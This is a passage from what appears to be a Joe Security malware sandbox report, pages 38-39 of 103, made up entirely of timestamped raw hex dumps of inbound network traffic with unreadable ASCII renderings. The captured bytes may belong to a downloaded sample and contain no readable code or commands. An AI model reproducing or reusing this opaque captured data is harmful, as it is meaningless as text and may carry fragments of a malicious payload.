34 6e 51 dc 26 83 Data Ascii: oKO)IneG!1t5\L,K_,\R=Td4B.PV1koE9@PM3'X^r_vl!*azS:ZQITGG">D+BAs.F6#i}6Ys`<x>m?I0Em9dZLpi[[Cc/7be=4nQ&

2022-01-15 19:23:31 UTC 1243 IN Data Raw: 66 6c 06 9d 0b b3 6b 8c a8 da 83 bc 8b 69 23 87 c4 f6 c4 50 cd d4 4a 41 05 df 22 a9 6c 8e db 64 90 93 e6 ab ca c0 07 f8 51 db 86 57 a7 ce cf 08 d3 21 d5 be 98 39 27 9f f2 52 09 29 35 c8 9b ea ea 95 a9 b3 38 25 c7 d4 0a f2 de cd 08 eb ff 40 7c cc 79 c9 0c ca bd 20 88 ee 84 20 17 c7 27 85 b2 18 87 c3 e9 7e ac 73 a0 a3 42 fd bb fe 21 5b 7a 0b 1e 7b 78 1e 98 00 0a 4e 57 3b a5 8e fe 81 a8 9b d9 fd db 76 a1 de ab c0 dd 76 1e 26 82 e7 e5 8e 28 61 2e b1 94 0c f5 6a 01 6f 3c 81 a5 ff 50 8b d8 fe 7e e3 f9 8f d2 65 57 4c aa 25 dd e3 a2 4b 6f 4a b0 bb 27 ce 94 be 08 27 da 59 1a b1 d5 6d 85 db ba 65 f9 fa 59 e5 7b 56 53 1a 4f 39 81 f4 43 bf 9c 41 b9 d4 8b 55 23 82 ba 25 68 b9 94 a3 00 5c 1a a3 4c f3 fb b1 a3 45 ad 9b 22 12 1f a9 1f 33 72 df 57 bb 21 1c 54 8a 85 0a cf Data Ascii: flki#PJA"ldQW!9'R)58%@|y '~sB![z{xNW;vv&(a.jo<P~eWL%KoJ''YmeY{VSO9CAU#%h\LE"3rW!T

2022-01-15 19:23:31 UTC 1259 IN Data Raw: 10 68 6b 59 ac 13 24 b8 21 59 6c a7 44 20 62 89 d0 ff 8d 90 41 a0 d5 fa e2 d2 1b e7 b7 2e 3b 65 8c 2d fe 0d 9c d7 0f 54 6f b2 29 e5 76 91 dc 23 5b fb 82 46 ae 5e 4d 7b 81 18 dd 55 49 7e ec c3 25 52 df d1 94 f9 37 a9 e0 80 75 dd cd 31 a7 ab ca 4e cb 88 b0 eb e1 45 24 23 a5 50 bf c5 c1 85 b9 05 56 7e 4f 5c 40 fa 60 fa a5 5c 5a 66 ad 81 e7 ac 89 aa 52 9b be 58 88 c3 86 dd e5 c1 4f 06 06 7a c2 0c 23 a9 52 5b f6 e8 0e 08 d7 f3 95 60 0a 36 d6 8b 1f fc 58 60 36 d9 f2 24 4d56 08 0c 47 c6 1a 3c 14 9a 97 6b 2d 93 ce b0 77 da 36 8d 33 d7 eb b2 9e 23 5d c4 ed 9b f4 81 16 79 e5 d3 15 9b bd cc bb d0 6b 26 21 31 b9 38 58 25 ae 5b bf 9b e7 2d 46 60 4a 02 73 98 01 62 92 ba cb a0 46 a9 21 76 02 57 8a 7f 32 80 eb a0 0b 54 25 4b 7e 21 3a f1 57 78 b5 0a ba 5c f8 a7 2a ee c9 Data Ascii: hkY$!YlD bA.;e-To)v#[F^M{UI~%R7u1NE$#PV~O\@`\ZfRXOz#R[`6X`6$MVG<k-w63#]yk&!18X%[-F`JsbF!vW2T%K~!:Wx\*

2022-01-15 19:23:31 UTC 1275 IN Data Raw: b6 58 5a 98 96 8f e2 3d 25 de e3 ac 4b 6f 16 71 2e 2d af c5 0e b3 69 25 55 0c e9 45 19 b1 8d f6 62 63 50 4c 5c9e 43 fd 2c 17 c3 52 97 3d 90 c0 6c 41 d9 6e 76 de 14 36 38 d7 f7 a2 7a 84 c3 d4 dc 20 80 3f 09 2d e3 7b d8 7a 21 9d d2 e4 49 62 82 a6 48 97 f5 7e 7d b9 ec 94 b8 ac 65 b9 f4 32 69 52 9d 6e 37 ac 4c 60 50 ab 96 2b e8 5d 47 37 ea 43 2e f1 ae c5 d0 77 90 da 06 ea ae 5c 9f 49 34 4e f9 5f 5e 6c ad ab 07 ed 2d 47 1f 88 29 d6 b7 66 d0 8d de 3e 35 67 e8 43 ee bf c3 4c 90 fe 56 c4 d7 c1 e7 4b 41 29 f1 7e bf a0 aa 49 5b 5f 21 dd 98 bf fb 9a c1 93 11 a7 9b 7e a9 ec eb 8f c9 97 c5 30 1b e3 82 b5 95 cf ff 0d 3b a9 fa b5 a2 cc 2d a3 76 96 83 b7 28 2a 38 cc 42 be 0b a3 fc 14 02 a6 1d 83 28 61 b1 91 b6 a4 a9 d2 72 03 d5 87 7f 86 e0 fb 1f 9c 81 f3 18 56 9f e8 f1 Data Ascii: XZ=%Koq.-i%UEbcPL\C,R=lAnv68z ?-{z!IbH~}e2iRn7L`P+]G7C.w\I4N_^l-G)f>5gCLVKA)~I[_!~0;-v(*8B(arV

2022-01-15 19:23:31 UTC 1291 IN Data Raw: 75 68 0f cc 2d f9 f5 59 37 b9 29 ae ae 97 ce 59 f9 cc 76 63 18 33 fc 9e 85 51 10 80 5f 64 a1 52 38 67 90 33 6c 5c ce 76 38 ff a6 6f 30 f7 07 75 83 86 fb ba 74 51 d5 9a 36 1d be 0d b8 ca a5 88 f9 09 d6 49 45 cd 6f 95 94 10 03 11 02 41 ce 09 e1 dd c9 ef d8 37 dc d9 f6 00 ab de 2c 06 ed 95 80 12 91 6e d1 42 27 d3 27 61 4d 30 a7 02 6c cb 37 f6 58 a3 1c 5a a8 b3 98 bb ab 54 a7 1f f0 c8 c4 f1 32 57 33 4e 25 d9 4d b4 53 b4 6c 46 44 75 c0 e6 71 be 7e 53 75 3b 83 45 25 cc 9d 53 7a 7a 3d 10 cb eb ec c3 42 2b c4 6c 97 50 89 4d f4 ab 22 83 ce 50 9c 6f 93 21 2d 87 b3 65 9f 4f 49 f1 30 ec af 50 35 18 b3 2a 40 d6 fb f9 34 54 a8 06 b8 cf 51 a6 15 c3 12 8a 4f ff f5 22 9b 15 1d cc 55 f3 94 21 71 9f 73 b0 69 23 ac e1 1f 2f 8f 0b a7 ed e3 8e df 2a 09 4a 35 dd d1 f8 0a 59 6a Data Ascii: uh-Y7)Yvc3Q_dR8g3l\v8o0utQ6IEoA7,nB''aM0l7XZT2W3N%MSlFDuq~Su;E%Szz=B+lPM"Po!-eOI0P5*@4TQO"U!qsi#/*J5Yj

2022-01-15 19:23:31 UTC 1307 IN Data Raw: 8b d6 19 73 84 06 bc af c5 6f 05 57 24 16 27 1e ee c2 53 2b 29 ed 39 fa be 17 b5 4f 5b b9 26 ec 96 53 2b 59 4b 06 fa 5b 14 6a 8d bb 6a 13 bf d4 5b bf e8 19 80 c4 2f 5c b7 6d c7 78 9e 3f b0 a8 d9 c0 de 2a 62 9e f5 a0 7e 21 18 3d d9 c7e3 d5 75 96 65 62 70 f2 ec 78 17 5c 52 fe dc 73 08 1e ac f3 39 ce d4 84 6a 86 76 8e fc 8c 01 66 80 70 8f 39 0b 9c d9 aa 0ce2 d7 ca ac 6d ee 4f eb 80 0b c2 17 32 7b d3 94 83 72 ce 40 ff 36 15 c1 53 99 71 87 ce dd 71 5b f7 f9 90 ff cc 27 43 c9 8d 93 e1 7f e2 8f 2a df 79 88 eb 0f 45 39 f5 67 a7 1a c2 42 0c 9d 46 3d f3 b4 ce a8 c2 8d 61 47 b4 d4 6a ac 8b 94 70 12 8a c363 90 4c a8 d8 a5 c2 b0 7d a9 02 1a 6a 81 77 24 38 bf 8a 1c de bd 28 73 26 1f 5a 63 bd 41 29 5f 14 df e1 a7 a0 05 14 c5 f6 3e 71 5e db fb 6d 18 a7 81 3d 64 b0 78 Data Ascii: soW$'S+)9O[&S+YK[jj[/\mx?*b~!=uebpx\Rs9jvfp9mO2{r@6Sqq['C*yE9gBF=aGjpcL}jw$8(s&ZcA)_>q^m=dx

2022-01-15 19:23:31 UTC 1323 IN Data Raw: 0a 6c 7e 2b 12 5c 0c b7 63 8e 3f dc 0c bb c4 9b 9f 60 3d 74 6a 5a 7c fe 08 64 e4 2f 79 13 b2 8b b1 6f e9 2c a9 c3 91 d5 f0 00 51 8f 7c 51 4e 5f a1 45 b4 ac cc f7 c6 fe c6 5e 42 c1 88 e5 43 17 47 9c 0b 07 af 07 17 6f 03 21 9d 87 f7 e1 8c 76 f1 57 f6 2e 91 b7 62 81 cf c8 7f ae 06 d5 10 fe 2a 6c dc 8b 54 8d 80 e4 ee 36 ca 5e f2 af f2 c3 f7 d5 8c ec 0b 16 1c 2f6a 7e 60 a8 28 e0 99 1e 48 31 ef 87 34 d8 5b 1d b7 3d d8 c9 7f 53 cb e2 1d a3 f5 0c 6a f7 2e af 42 99 5f b2 a7 b9 84 82 e5 4e 1d 61 9f f3 e3 55 be be 8c fb 84 2f 5e 03 48 3c ab e1 7d e3 58 1c ae de 50 02 8f 1f 88 3f 0b 2f 4b 8e c7 1b 25 50 b4 f1 27 35 91 6f fe e5 2e ac 0d d3 b7 33 1c 4e a6 9e 40 35 5b df fd c2 0f 7c 9a 45 a0 1d cc 94 87 f2 b4 0b 73 8d 09 a0 84 70 f7 a5 c2 13 0f 13 e8 90 ce ae 6e 0e 38 Data Ascii: l~+\c?`=tjZ|d/yo,Q|QN_E^BCGo!vW.b*lT6^/j~`(H14[=Sj.B_NaU/^H<}XP?/K%P'5o.3N@5[|Espn8

2022-01-15 19:23:31 UTC 1339 IN Data Raw: f0 0f 09 0f 25 85 5d cf b8 36 7a c5 3f 04 0c d2 da 38 15 ba 45 c4 ae 17 9f 53 15 95 fd 3f 08 1c 9d af 15 a2 03 5326 87 03 2e db 5a cf 90 24 96 e1 62 71 d6 05 ff ff d9 5c 54 49 29 f0 47 f1 52 2d b5 a2 a7 74 92 74 a3 cb e2 7d 52 dc 22 49 8b fa 46 3d 82 75 38 ad 6a c3 cd 44 4f ca 09 95 8f 5d 23 d0 54 c3 09 8f 6c bd 3b 1f b1 d0 a5 bc b9 35 8b b7 80 f3 7d 32 ca a4 c0 ea b4 33 77 09 90 7d 38 02 32 66 11 0e da d6 e9 32 88 cd aa 36 cf e2 be 71 16 20 8a d5 cf 1c a4 ca d2 ae 5e 7f ce 41 3e 96 64 25 13 d3 a5 66 bc b9 f4 ea 8a d7 b9 25 21 bf 83 ea b8 0e c4 5e 56 19 b4 35 56 e5 0d c2 0e 8e da 84 27 ee e1 29 c0 f9 46 08 5c 96 ab e9 6d 2b e4 29 99 6d 83 d4 c2 9e 9b d2 35 8d 7e 6a fa 33 12 ce f3 42 c6 45 cf 70 e3 cb 92 91 ed a4 bd dc 43 dd 23 89 00 22 96 99 87 96 b4 3b Data Ascii: %]6z?8ES?S&.Z$bq\TI)GR-tt}R"IF=u8jDO]#Tl;5}23w}82f26q ^A>d%f%!^V5V')F\m+)m5~j3BEpC#";

2022-01-15 19:23:31 UTC 1355 IN Data Raw: c7 22 09 13 0a 42 c9 da 31 33 79 34 17 24 ab 1c ef 0c 8f c4 57 80 68 8f 69 96 d2 c7 35 f9 92 7f 61 51 67 77 98 eb 94 22 78 b1 b3 7e 90 48 0c 5f 1d d3 6f 6d 70 9f 4a e9 1d 30 ae d8 74 ec c1 48 e0 5c 00 54 82 d8 57 22 d2 b0 b2 65 4c 8f 98 0f 9a 4d 45 dc 62 f1 20 2c 81 0e 96 75 ca ac 35 60 4b 80 b9 a3 40 5b 9f bc e5 a5 0a 70 32 20 7b 7d 58 d5 a3 0e ca 5e d0 a4 c8 8a a1 6b d8 47 90 4b d0 5a 00 61 8f 57 63 f9 ec 0b 6a 23 c9 e3 4f 98 9f 69 8e eb 59 5b 4e c6 a7 42 80 4c 2e 5a c0 1f e5 1b f4 9e 94 b0 61 ba cb d7 68 93 18 1c a4 a3 c4 18 00 ff 30 63 a7 60 56 21 c0 28 74 c8 35 c1 45 45 84 2d af 5d 1d 18 e7 62 45 f0 f3 d8 dc c0 cd d0 f4 c3 05 eb 37 0d dc 78 c7 20 b6 a3 b8 fe 27 2c c7 19 a1 f6 ed b0 3f d5 90 67 3f 5e e6 fe 9c 06 11 5a 89 84 94 d5 10 40 87 ae a7 e1 54 Data Ascii: "B13y4$Whi5aQgw"x~H_ompJ0tH\TW"eLMEb ,u5`K@[p2 {}X^kGKZaWcj#OiY[NBL.Zah0c`V!(t5EE-]bE7x ',?g?^Z@T

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 38 of 103

2022-01-15 19:23:31 UTC 1371 IN Data Raw: c3 9c 89 e6 2e 63 f8 e4 55 79 ca 4b 4a fc e9 47 31 3a c2 28 da b1 b6 28 95 95 1d 78 4e e1 6a d7 57 21 45 4e e6 05 a0 ac 9b 86 52 b9 f0 a1 3e 25 5d 2b 96 df 9d 57 c8 c4 d9 64 3a 5d e5 3a b4 8d 84 f9 ec 6d 4c e4 74 2a b1 03 74 ad 9f 72 00 33 a7 19 01 3c e4 48 01 2a b2 d2 50 cc 05 88 49 e1 5c 9b af be 44 a6 da c7 26 26 12 b8 ab 34 ad b5 57 86 1c 40 b9 90 38 eb f1 ce cf c8 54 3d 1e f4 58 8b e5 b1 55 99 c1 d5 cb 1f dc 02 6c 61 20 93 37 ac 86 e0 57 59 8f c5 62 8b 9d e3 b0 38 5f 6e 1f af 57 36 84 d1 3f 0f d3 ae ab 66 50 13 29 95 2a 30 84 80 9d 59 a8 35 da 18 32 41 01 d6 f3 17 6d f8 c6 7a 3a 6f 9f ce 31 25 8a 57 67 c3 dc ef 63 07 67 38 8a 63 ea 3b d0 5a d7 53 af bc 67 3d 00 e7 bf d6 f4 18 f1 77 a9 ad 15 0b 5b ef 39 33 60 30 13 29 83 4f a7 a3 41 55 b8 ca 0c 65 38 Data Ascii: .cUyKJG1:((xNjW!ENR>%]+Wd:]:mLt*tr3<H*PI\D&&4W@8T=XUla 7WYb8_nW6?fP)*0Y52Amz:o1%Wgcg8c;ZSg=w[93`0)OAUe8

2022-01-15 19:23:31 UTC 1387 IN Data Raw: e1 a0 da c0 7d 26 84 0d 86 22 0c 78 c8 4d ed 66 bd 72 18 62 0b ec 73 e2 7a 49 3a d7 36 08 dd 5b 4f 02 8b 91 db 63 7d f0 b7 80 a6 15 e9 31 ba 01 14 c0 15 cd 9a 90 c9 f8 11 bf 08 38 02 d7 cc c2 3c fc aa d6 6f 32 da 0f 19 99 3f 01 95 ce b2 d9 ef 2e 57 d9 93 6f 61 5b d4 b5 84 d3 06 2c 25 75 60 bf 2a c8 bc 0e a5 36 d0 a6 9f f5 4a 04 1b fb b1 3e 0b ef 4d a2 79 9e f8 fb eb c8 0e 8f f6 8c 0f 32 62 30 00 e7 83 c8 cc 9a 7a ba c3 41 a8 9f 0d 0b 56 64 b4 d3 e2 f8 50 9e 1e 8d 1d 38 84 ad 59 4f e4 21 d3 af 58 27 bf de 28 af d3 ba 5a 72 f8 f4 cb 99 69 ff 11 f6 1f 05 3b d8 0b 40 c3 f0 74 01 a1 0b 1d 08 72 76 0d 91 ae d3 22 cb 2f 42 ff 24 e3 3c 83 bd 7b 22 34 7d 4a ab 97 30 8e 24 47 cf f5 54 e5 19 73 b2 e8 df 79 55 0c 19 cf 41 b7 91 e3 e3 48 e1 c0 e2 04 60 fb 9e fd 10 3c Data Ascii: }&"xMfrbszI:6[Oc}18<o2?.Woa[,%u`*6J>My2b0zAVdP8YO!X'(Zri;@trv"/B$<{"4}J0$GTsyUAH`<

2022-01-15 19:23:31 UTC 1403 IN Data Raw: d5 55 55 b3 fa ce 33 10 09 4d a1 e7 2c e3 b0 91 1c ce 80 cc 36 9a f3 12 6f c5 84 65 5b f1 18 d4 98 6c f1 58 2a 62 60 5d 2a 06 24 25 c9 c8 a9 ee 06 b3 93 4b 7f 5d 51 c9 a5 54 d7 eb 4a 82 81 ee 8a a8 60 34 ee de cb a7 d5 55 b7 58 ce a8 6c 2c b1 8a 3b 25 09 a3 94 b0 5f ab ee 9f 90 bf 5a f9 da a2 b7 e4 ad c0 32 ae dc 43 cf 36 e5 52 c1 4b f7 08 5e ef 01 06 0f 7c d3 4f f9 37 87 38 bb e4 11 ad 12 82 68 c9 59 8e e9 15 e6 a5 05 5b 42 f0 67 42 21 09 73 b4 5c 14 d2 bf b8 dc 4a c6 e1 66 3e 7b 78 b5 ff c5 d3 a8 ae 84 c5 0b 97 b5 8e 65 ee 04 68 82 4e 34 21 9e 1f 62 d9 c4 61 48 7d d1 dc 53 f0 97 14 43 51 05 81 a6 c4 91 8b e5 fe b0 9f dc 95 7c d5 90 83 e8 06 01 d9 09 fe 2d ef 0f d4 1b 3c d9 f0 fe cf 9e 20 d9 47 e6 3f 05 25 18 47 15 f5 bc fd 4d ef fc 33 d5 2e 47 f9 b2 31 Data Ascii: UU3M,6oe[lX*b`]*$%K]QTJ`4UXl,;%_Z2C6RK^|O78hY[BgB!s\Jf>{xehN4!baH}SCQ|-< G?%GM3.G1

2022-01-15 19:23:31 UTC 1419 IN Data Raw: 29 54 dc 78 c7 97 44 d9 11 72 fc 1f b5 98 2e b7 d8 54 2a 7a 41 bd e0 2a a0 2d 9d 5a 91 93 94 ba 4c d6 6d b4 87 85 d3 d8 0d e5 f3 ef ec 16 de 95 07 53 3a 17 6f 60 a2 87 77 91 7e ac a5 06 79 e7 06 9d b9 02 32 c7 6f 41 b3 7e e1 38 1d bc 79 fe 99 32 85 97 c6 d1 60 4f 05 83 9a 37 9b 78 ce 03 76 55 ec 92 81 2d cf a9 be 6f e7 9c 55 f6 4a b3 b6 80 98 6d 1f 2b 77 08 05 c7 cf d3 24 33 b3 11 e5 1b c8 49 4e 18 09 f1 e6 ca 62 e7 4d be ca ae 02 f2 de 56 0b a1 b2 de 59 ed 90 83 64 67 9a ef a3 14 10 2d ec 67 63 4c e0 c1 61 57 62 c5 06 ba fa dc 8b 3a cf 08 7a 87 0c bb 30 6c 63 09 9b 59 9c 37 d8 81 99 99 80 62 50 2a fe d1 0d db aa 3c c0 3c 39 d7 9b 97 57 05 c4 c1 54 e3 ce a4 1b f7 ee d5 11 06 a3 6b 08 e2 c5 8c 82 f9 59 00 ec b4 34 57 9c 5b c8 dd 1e 96 4e 78 77 74 df 52 b1 Data Ascii: )TxDr.T*zA*-ZLmS:o`w~y2oA~8y2`O7xvU-oUJm+w$3INbMVYdg-gcLaWb:z0lcY7bP*<<9WTkY4W[NxwtR

2022-01-15 19:23:31 UTC 1435 IN Data Raw: 1b 36 8f a6 70 9d 1b 87 65 e5 56 fb aa 75 3d 43 d0 1a d6 07 4c fb 36 61 bc fa 7a 0c ff ed 78 d1 b9 86 dc a3 99 63 dd dd ac f9 5b a7 55 de ad 16 dd 4f fa c6 bb 85 c1 60 9e 7a 47 f8 ae 6b c6 ed 7b 6d fd ea ce ed ac 01 bc 89 4d 4f 3f ee e1 b3 b7 c9 00 0b 32 2b 62 92 11 58 92 3b 1e d7 0e a7 e6 5d f6 fa 46 d0 f8 c0 e6 39 59 e8 2e 95 b4 31 54 ff d9 a4 73 a3 99 78 ed fb 32 ed 12 72 7e 7d 85 42 b2 29 13 19 24 b4 48 06 05 ad 9c 98 e6 03 bc 8b 90 5a 27 14 ae 61 3d c2 0b 77 3a ab b8 73 c3 d5 ea 13 16 5f 15 cc 73 c8 98 61 86 48 64 16 72 79 a7 64 c2 07 9f 16 ed 31 9b 55 02 cb 09 fc 54 96 a2 57 17 78 bb 68 da ac d9 83 c2 d9 12 c2 72 ae 98 ea 02 7e 43 74 16 04 3b 09 27 50 1b d2 5f 04 4c e3 9b 47 4c ee 16 1a 8d 9c a55a e0 32 d7 07 6e ef e8 00 8f 10 25 93 dc 61 de b3 f8 Data Ascii: 6peVu=CL6azxc[UO`zGk{mMO?2+bX;]F9Y.1Tsx2r~}B)$HZ'a=w:s_saHdryd1UTWxhr~Ct;'P_LGLZ2n%a

2022-01-15 19:23:31 UTC 1451 IN Data Raw: 01 5e 3e 8e fc 55 08 8a 1e 08 86 6b 3f 6c 98 ce c1 29 02 b5 62 39 a1 dd ca dd 71 43 eb f6 6e 22 ba 80 c6 f9 be 6d 0c 1a c0 52 c6 66 cb 1d df 05 20 ea 80 f9 37 2a f1 1c c5 b1 0c c6 dc cf 5d 1d 6d b1 c3 91 a3 18 79 08 57 49 2d 5f 7b be e4 6f cc a7 11 42 fd 64 a9 50 65 0f 99 50 d0 0c c3 8e fd 1e d9 18 ff 03 2a 5a 2c d1 e9 bb 8d a5 da ba 91 2b 60 93 82 58 75 60 d0 6b d3 12 54 18 35 1a 2e dc 89 6d b5 44 ae a2 a6 bd 4c b5 20 a9 2f c8 8f cb 0c 67 d6 0d 56 2a 5c 27 63 1d f0 44 33 ad 60 d3 06 53 1f 06 fe 21 bb 77 d6 9b 08 b9 3d f1 6c ed 75 ce d3 7b 84 ae 2d c9 31 32 b0 6a 20 62 45 1c 40 45 1d 80 11 93 83 7f 41 23 e5 88 c6 cc 99 46 10 39 a4 63 62 a3 5d 66 7d 2d ce 21 f7 1f 7f 08 b2 21 a9 3e 5a e0 e5 4d c0 8a 4c 2d 9a df 40 dd 7a 75 f7 7b cf 01 77 4a 69 da 59 d0 a7 Data Ascii: ^>Uk?l)b9qCn"mRf 7*]myWI-_{oBdPeP*Z,+`Xu`kT5.mDL /gV*\'cD3`S!w=lu{-12j bE@EA#F9cb]f}-!!>ZML-@zu{wJiY

2022-01-15 19:23:31 UTC 1467 IN Data Raw: 3a 74 61 64 8c 66 47 df 00 77 da 0d 6a b6 39 b6 c7 b1 b6 6b 7a f2 7f c6 73 d3 7c 32 78 d5 99 69 f8 01 ce d1 aac0 0b 31 00 f0 4a 3e f9 31 f2 77 9e 7f 3a 78 77 f9 c4 50 62 81 13 57 c5 e3 dd 55 db 48 aa 73 5c aa 55 ef 6d 4b 20 10 f2 6f a4 c4 fd f7 fd 93 a0 91 70 b6 1d 4a 88 db fb 09 e9 68 9e c2 e8 a2 cf 6a 7f 57 ce d7 0b d5 4a aa 03 f1 ee 6e 67 a0 07 56 e3 cc 74 d4 9a 7c 6b 72 4c 61 b9 45 cf 8e 86 64 87 ab eb 27 3c 50 8f d7 b0 c0 47 57 9d 2a 40 a9 f8 d8 d2 16 56 15 f8 38 e9 a0 51 f1 a2 9c 74 03 2d c5 52 5f 67 5b 24 c3 01 b7 22 5a ef de 87 ce 67 e4 63 cd ff 77 f8 72 02 c8 7a 9d e8 63 bc c7 d4 5b 65 4c 3d 6c ba fa eb 18 fb 4f 38 da 6b a9 dd 2d 2d 83 08 9e 8d 6d dc 66 66 32 37 d5 51 11 4c 0c 35 af 81 cc 5a e2 9a 2c 1b 2b 93 aa a7 46 41 a3 fe 8b 8d f1 5a 38 91 Data Ascii: :tadfGwj9kzs|2xi1J>1w:xwPbWUHs\UmK opJhjWJngVt|krLaEd'<PGW*@V8Qt-R_g[$"Zgcwrzc[eL=lO8k--mff27QL5Z,+FAZ8

2022-01-15 19:23:31 UTC 1483 IN Data Raw: a9 c7 36 0e 87 9a 61 9b 01 59 9b 0e 9a ed 47 54 dc 02 43 26 50 5a 88 12 a8 40 c6 f5 2f 64 b1 08 6b d1 cb f0 e8 b2 70 c9 b7 20 8d fd 2e 5c f1 0e 94 a8 f6 19 22 0a 09 36 f2 f5 b2 a0 f1 93 e3 c8 de 31 ad 21 01 44 6e fe 52 b2 1b ab 38 a7 97 ff a4 31 b8 69 0c 11 34 da 0c d3 7c 81 3d d7 9b 36 a4 fa 74 a3 66 bb 43 f0 ea c0 51 73 ce 9d 61 77 f1 30 46 34 79 3f0d 3e 5f 57 23 5b 4b d3 83 2e 76 1f 5b 6e f3 3d 5c 90 9b 20 2f 91 7f ee cf d2 f6 a9 89 89 00 8c a8 c6 6a b6 be 00 9d 15 d6 32 04 17 d2 01 90 42 cb 18 ee 91 1c d1 10 eb ad ca bd 37 b6 20 c4 9b 5a f4 58 4e a6 19 07 c1 89 e7 f4 aa 0c ee de ba 0e 16 90 8a d5 33 64 b1 78 02 de b8 fd 2e 60 69 04 79 f1 2d 5c e3 a4 b6 32 ce b4 f5 b5 87 ea f3 c2 e1 7d 5e ea 6c ca da ec 6a d1 7e 02 ef 54 81 71 b5 e5 6e 2c 53 f0 f6 21 Data Ascii: 6aYGTC&PZ@/dkp .\"61!DnR81i4|=6tfCQsaw0F4y?>_W#[K.v[n=\ /j2B7 ZXN3dx.`iy-\2}^lj~Tqn,S!

2022-01-15 19:23:31 UTC 1499 IN Data Raw: a1 35 42 02 01 83 07 fb 93 ca a8 ff 86 d9 d4 f4 8d 77 d2 65 5a c0 7c ee 8f 4b 81 0a d0 e5 ee 2e 03 7c 8f 20 6a 40 dc f4 8d d8 8b 6d 42 ad bc c8 db 14 5a 2f ce 7c 75 e7 23 41 52 44 54 ee 4c d6 78 3e b8 66 af f4 b5 95 c2 6e 62 1d 48 8b d6 99 df 60 4e d9 17 a8 2d fc 7d a4 41 63 a2 df 10 35 82 12 e5 e3 34 c2 a9 8e 1b 19 07 4d 48 ba 64 f5 5c 7f 4d 17 0f 56 4c 81 e4 29 fb 85 2d 7f 1d 16 16 47 85 d1 75 3f b8 2c db c8 82 ce 7e 26 1b ea ef 03 24 d0 2f aa 06 38 be c9 21 19 e3 4a 22 36 68 ad 3d 23 f1 e7 56 ab d1 f7 4f d9 6c 2d df c5 68 81 5a 92 08 de 22 31 81 d8 d4 49 55 71 22 0d 8f 33 ee 3a 47 3b d3 0a 4a 50 6d a3 00 5d 35 d5 b3 1c 24 a8 96 fa df a7 f4 57 41 ca 62 75 06 d9 3e ed cc 36 b8 7f a6 5c a1 dc 9c 11 4e f2 15 47 36 e8 e5 7c 69 5e 4d 62 0e 96 e1 49 cd 43 71 Data Ascii: 5BweZ|K.| j@mBZ/|u#ARDTLx>fnbH`N-}Ac54MHd\MVL)-Gu?,~&$/8!J"6h=#VOl-hZ"1IUq"3:G;JPm]5$WAbu>6\NG6|i^MbICq

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 39 of 103

2022-01-15 19:23:31 UTC 1515 IN Data Raw: bf e5 b6 5a 49 d3 81 f2 e6 3d 60 60 86 c5 fa 2b b2 ff 40 fe 2d 46 1e 58 46 c0 21 fc 02 73 25 be 72 5f 43 ce d2 04 24 d9 25 ea a3 c9 3a 15 1e f2 38 75 c6 93 9b e2 4d 69 7c 21 76 73 2f c4 61 56 a2 01 8d 8f f3 c6 53 63 ab 1f 15 9b 68 bb 9b 57 cf 0b 0a 0f 0d 35 fe c0 6d a1 e0 61 a7 69 ff ed 4b a1 6b 08 8c 88 19 36 55 75 e0 33 ac ea 37 67 44 d8 c1 ae 46 09 9c 4b 9f 2e 4c a6 2c 50 18 cb e9 ad 59 2a fb 55 dc 31 77 1e 42 29 2d 65 17 e1 12 b4 fa ad bc f0 45 59 8b e5 98 de 87 b9 be 45 42 90 a8 69 98 69 85 b6 8d c7 03 5f 2f e7 ca 3e ab c6 5e cb 0e d6 41 f6 3e c8 33 fc 58 8b 6a 4d b4 10 57 c3 f1 de 3d f8 86 cb 3b 80 59 55 a4 77 e3 bc 23 d0 83 e6 4f b1 99 0d cd af 53 aa e5 f3 56 37 0d ff 8f 66 c9 24 d1 73 ea 9f c8 cc e9 ed 87 2f da 01 dd ff 72 a3 e4 ae 00 75 4e 1d 20 Data Ascii: ZI=``+@-FXF!s%r_C$%:8uMi|!vs/aVSchW5maiKk6Uu37gDFK.L,PY*U1wB)-eEYEBii_/>^A>3XjMW=;YUw#OSV7f$s/ruN

2022-01-15 19:23:31 UTC 1531 IN Data Raw: 57 8e d4 1c 64 85 b1 5f 3d 7b 82 97 91 e7 1e 47 32 53 0b 01 73 0f f8 34 61 0d 55 2a 90 d5 1b 94 97 d9 45 38 27 ca 05 d8 ce ee 58 40 1a 58 70 89 ba 20 a0 23 b1 ce 72 0e 37 07 98 c8 cd 44 18 11 87 6b 9f aa f2 ee 03 bf af 2e ac 0c ff 31 1c c8 aa 1b 13 ce cb 43 46 cf a7 01 92 16 d6 e6 f7 f3 dd 54 fd 50 be 35 ba 76 6f fa fe c1 b5 b2 8e 8e 31 8f 71 14 be 0d 00 9e a1 da 1c 51 de 9f 75 06 14 25 5e d3 05 59 ac 91 74 28 f0 28 3d 5c 2f 7d 2e 16 63 02 4d 61 2d f6 31 c4 ca ed 0a 37 65 ee c5 2f d3 6c 19 7c 8b 72 37 56 16 22 d8 bc bc 6e 71 12 c3 2b 87 1a ee 3a 19 82 4d 5e d2 67 8a d8 49 cf 25 61 d1 bd 3a 49 ca 83 cb 98 20 35 ad ed 1e 56 76 c3 62 70 50 a4 31 09 5e 5c af a1 80 ac cb 43 bd 94 67 b5 de 59 8d 45 0c 91 42 5b 41 a6 9b e1 60 87 e0 88 24 93 06 09 1d da 8e 1d 34 Data Ascii: Wd_={G2Ss4aU*E8'X@Xp #r7Dk.1CFTP5vo1qQu%^Yt((=\/}.cMa-17e/l|r7V"nq+:M^gI%a:I 5VvbpP1^\CgYEB[A`$4

2022-01-15 19:23:31 UTC 1547 IN Data Raw: 0a 0a 06 54 d4 8c 91 76 c6 c9 f8 cb bd e1 ce 08 ee 91 79 de 9e 9a ec 82 77 8b 23 94 fe db bc 9a 0d 2d 92 eb e6 df a0 0a 2a dd 42 7c 95 98 24 e9 48 ba 21 5d c1 b6 54 a5 a9 68 a0 d8 cc e9 32 b8 d7 f2 30 9f 6d 98 ef ea 54 13 76 cf fb e1 a5 37 0c 9b 9d 32 1c 8e f2 ae 6a ab 06 cc 0b 4e f5 84 fb 59 dd 34 7c 40 52 9c d8 a7 6b 78 ee 5b 41 dd 62 52 c7 53 db ad 38 e2 6a f0 b8 f2 b1 38 ea ce d9 a2 c7 27 71 45 83 dd b2 40 2d cf 9a e5 14 66 3d 3a 6e f6 38 38 2e 94 01 2b ff e8 b2 6e b6 6e 59 05 15 06 78 8a ba 61 0d 73 9a b9 a3 25 56 ae 8c 2c 12 01 ef 34 e5 76 a0 9e ea 54 62 b8 64 61 36 1d 8a 07 31 1d 09 1f b0 cc 